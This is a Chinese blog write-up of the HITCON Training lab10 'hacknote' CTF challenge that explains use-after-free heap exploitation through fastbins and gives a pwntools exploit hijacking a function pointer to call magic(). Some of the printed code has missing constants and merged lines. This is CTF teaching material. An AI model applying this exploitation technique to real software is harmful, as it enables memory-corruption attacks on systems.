本文系pwn2web原创,转载请说明出处

UAF 漏洞,英文原名use after free,该漏洞简洁的可以概括为

  1. 分配一块内存
  2. free该内存但不回收,构成悬垂指针
  3. 再次构造分配同样大小的内存,按照malloc分配原则将会是将第一次分配的内存给这块新的
  4. 对新的内存进行use

一    前言

首先我们以一道题来介绍一下UAF,这里选用hitcon training lab10 作为例子,源码太多,占篇幅,试题、源码详情请见的GitHubhttps://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10 中的c语言文件。

这里先直接附上exp,网上大部分exp都差不多,但是有一些疑点我得说一下:

  • magic函数地址咋来的
  • 非预期解:创建1个note也能getshell
 from pwn import *

 r = process('./hacknote')

 def addnote(size, content):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content) def delnote(idx):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(idx)) def printnote(idx):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(idx)) #gdb.attach(r)
magic = 0x08048986 addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1 delnote(0) # delete note 0
delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive()

1、我看了大部分博客,都没有给出magic地址从哪来。。。给爷整懵了。。无中生magic是了。。。

俺这里有个法子弄到这个地址:

看到pdisas这个神奇的反汇编指令了咩,第一行地址就是magic的开始地址,这里我也尝试了一下下断点到magic函数,即b magic,然后你看到,这个断点是在上面汇编显示的地址的第四行,我们来看看其他的函数:add_note

所以你可以看到,gdb中的下断点一般是下在开栈的地址。

总之,最起码我们找到一个很好的方法来寻找地址对不。

2、再就是为啥子要预先创建两个note?我先附上创建一个note的exp和运行结果,下面我会细细讨论

二  分析

下面我们再来一步步分析:

按这篇文章开头的几个步骤来寻找

0x00 结构体定义如下:

 struct note {
void (*printnote)();
char *content ;
};

不写入content的初始大小为16字节:

为什么是16字节,这里有个字节对齐的原因,void对应4字节,char按道理对应1字节,为什么是4字节?因为void,字节对齐,各位请谷歌自行查询。

4(PUT指针)+4(content指针)就是8,再加上8字节chunk头部,就是16字节。

0x01  首先是分配内存,整个程序具备这个功能的就是add_note:

 void add_note(){
int i ;
char buf[];
int size ;
if(count > ){
puts("Full");
return ;
}
for(i = ; i < ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(,buf,);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-);
}
printf("Content :");
read(,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}

1、从第9行可以得知只能创建5个note

2、之后按照notelist的结构体大小创建note,再按照输入的大小为content申请内存,总体结构正如ctf wiki上的结构图

   +-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+

上一部分我们说了该大小为16字节,堆的最小处理单元为chunk,那么根据堆分配规则,为fastbin chunk。什么是fastbin?我之后博文会去介绍

0x02 释放内存,整个代码中del_note具备释放内存功能

 void del_note(){
char buf[];
int idx ;
printf("Index :");
read(,buf,);
idx = atoi(buf);
if(idx < || idx >= count){
puts("Out of bound!");
_exit();
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}

也就是第12、13行,先free content,再free notelist的头。

0x03 可利用执行函数magic

void magic(){
system("cat /home/hacknote/flag");
}

0x04 利用

因为我们要把第一次分配的内存释放然后第二次分配同样大小的内存进行复用,那么可以构造利用链:

add_note()-> add_note()-> delete_note()-> delete_note()-> add_note()

换句话说,分配和释放将按照此结构进行

malloc(0x20)-> malloc(0x20)-> free(0x8)-> free(0x20)-> free(0x8)-> free(0x20)-> malloc(0x8)-> malloc(0x8)

那么我们来介绍一下这个到底是做撒子

我们利用的是fastbin回收的不合并性,我要将put函数指针指向magic函数的地址。

fastbin如上图,0x10表示16字节,0x18表示24字节,0x20表示32字节,以此类推。每次分配完释放回收后将会放在对应的大小行上。

现在我知道的有:

1、notelist 的每个初始大小为16字节,对应fastbin的第一行,即0x10

2、那么如果我们要劫持put函数执行流,那么我们就需要构造一个8字节的content,这样加上头才能变成16字节,才有可能分配到put

3、我们可控的地方只有content部分,可以控制content部分的大小和值,因此我们只能在content中输入magic函数地址的值

因此我们设想:

1、如果我们构造一个note0,content大小为32,然后,free,再者继续创建一个note1,content大小为8(为了劫持put,须与出是头部分配内存相同),但是note1的头大小也是8,那么回收note0后fastbin结构就变成

  • 0x10: note0_head
  • 0x18: 0x0
  • 0x20: note0_content
  • 。。。。。。

然后note1_head就直接分配到了note0_head ,我寻思着note1_head也有put,那么直接用就好了噻,于是我就把note1_content改为magic函数地址,然后print_note(1),也能成功。

注意:然而,使用note1的put仅仅只是将指针指向magic函数,note1_head分配到了释放的内存,但是note1_content没有分配到释放的内存,因此其未对释放后再分配的内存进行修改,是直接利用,而不是释放再利用(UAF)

3、那么创建1个虽然行,但是不能算是UAF,那就用两个咯。因为fastbin是FILO,先进后出嘛,形象一点,看下图,头是note0_head,后面接上note1_head,然后取出来的时候从尾巴开始取,就是先取note1_head

  • 0x10: note1_head -> note0_head
  • 0x18: 0x0
  • 0x20: 0x0
  • ............

我们构造两个note再释放后,fastbin如下(content的大小我设为24):

  • 0x10: note1_head -> note0_head
  • 0x18: note1_content -> note0_head
  • 0x20: 0x0
  • ...........

紧接着我们创建note2,因为note2_head也要分配0x10行的内存块嘛,所以,在note2_head分配完(取出)note1_head后,还剩下note0_head, 那么note2_content大小设置为8,就可以分配到note0_head啦

三 总结

正确的此题做题流程为:静态审计源码,构造思路,动态调试找地址,编写exp

UAF漏洞:利用内存分配的特性操作分配的已释放使用过的内存块

UAF——use after free的更多相关文章

  1. 各浏览器抗uaf机制

    今年中旬,微软针对旗下ie浏览器中大量出现的uaf漏洞,对ie浏览器的安全机制进行了一个大幅度的升级,其中主要体现为隔离堆及延迟释放两个机制,顿时又将uaf漏洞的利用向上提升了一个大坎, 但是类似的对 ...

  2. UAF漏洞--iOS是越狱原理

    Use After Free UAF 就是 Use After Free的缩写,是一种比较常见的内存错误式利用.很多iOS的越狱都是利用的这种方法.在此简单的举个例子说明UAF出现的情况 代码说明一切 ...

  3. CVE-2010-0249 IE8 UAF漏洞分析

    CVE-2010-0249 [CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153) Microsoft Internet Ex ...

  4. exim CVE-2017-16943 uaf漏洞分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...

  5. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  6. UAF漏洞学习

    产生原因: UAF漏洞的成因是一块堆内存被释放了之后又被使用.又被使用指的是:指针存在(悬垂指针被引用).这个引用的结果是不可预测的,因为不知道会发生什么.由于大多数的堆内存其实都是C++对象,所以利 ...

  7. vmware漏洞之四:简评USE-AFTER-SILENCE: EXPLOITING A QUIETLY PATCHED UAF IN VMWARE

    转:https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-ua ...

  8. UAF学习之Adobe reader CVE-2013-3346

    学习了UAF,分析了几个漏洞,同时,也熟悉了windbg的用法,收获挺大. 基本的UAF分析流程如下: i:找有漏洞的函数 ii:找到被释放对象的类型,以及被释放对象在内存中的位置 iii:理解对象的 ...

  9. pwnable.kr uaf之wp

    几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下: 1.[UAF]分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存.攻击者可 ...

  10. [03] HEVD 内核漏洞之UAF

    作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...

随机推荐

  1. Vue 项目构建完成 ----发布项目

    发布项目 cmd  命令行 npm run build      执行打包文件 完成后就会有  3 个文件夹    分别是: 文件夹 :build     config      dist    in ...

  2. Lavarel之环境配置 .env

    .env 文件位于项目根目录下,作为全局环境配置文件. 1. 配置参数 // 运行环境名称 APP_ENV=local // 调试模式,开发阶段启用,上线状态禁用. APP_DEBUG=true // ...

  3. vue 项目使用局域网多端访问并实时自动更新(利用 browser-sync)

    在写vue的项目中时,虽然vue会自动更新页面,但是切换页面切来切去也很麻烦,有时候我们还要在公司另一台电脑或者手机上调试,这时候利用browser-sync插件,无需改动vue的代码即可实现: 1. ...

  4. css隐藏滚动条、移动端滚动卡顿的解决

    1.如果想保持容器能够滚动,同时不想看到丑陋的滚动条,chrome.firefox和移动端上不考虑兼容性直接 element::-webkit-scrollbar{ display:none } 2. ...

  5. ES安装&常见错误

    ES常见错误 案例一 [2018-06-20T02:35:47,152][INFO ][o.e.b.BootstrapChecks ] [SUcoFrg] bound or publishing to ...

  6. 【Docker Compose】简介与安装

    1.简介 Compose 是一个用户定义和运行多个容器的 Docker 应用程序.在 Compose 中你可以使用 YAML 文件来配置你的应用服务.然后,只需要一个简单的命令,就可以创建并启动你配置 ...

  7. linux中的文件类型标记方法

    在ls -l显示的详细信息中有以下信息: -rw-r--r-- drwxr-xr-x 一共10个字符,第一个字符表示文件类型,后面9个字符分成3组表示文件权限.前三个表示属主(拥有者)对文件的权限,中 ...

  8. 16.python内置函数

    Python 内置函数:https://www.runoob.com/python/python-built-in-functions.html 原文:https://www.cnblogs.com/ ...

  9. Redis安装(单机及各类集群,阿里云)

    Redis安装(单机及各类集群,阿里云) 前言 上周,我朋友突然悄悄咪咪地指着手机上的一篇博客说,这是你的博客吧.我看了一眼,是之前发布的<Rabbit安装(单机及集群,阿里云>.我朋友很 ...

  10. Python3 批量修改JPG图片尺寸

    功能 批量修改当前文件夹下的jpg图片到设置的尺寸 将修改后的图片移动到 new_img 这个文件夹下 导入库 from PIL import Image # 处理图片模块 import os imp ...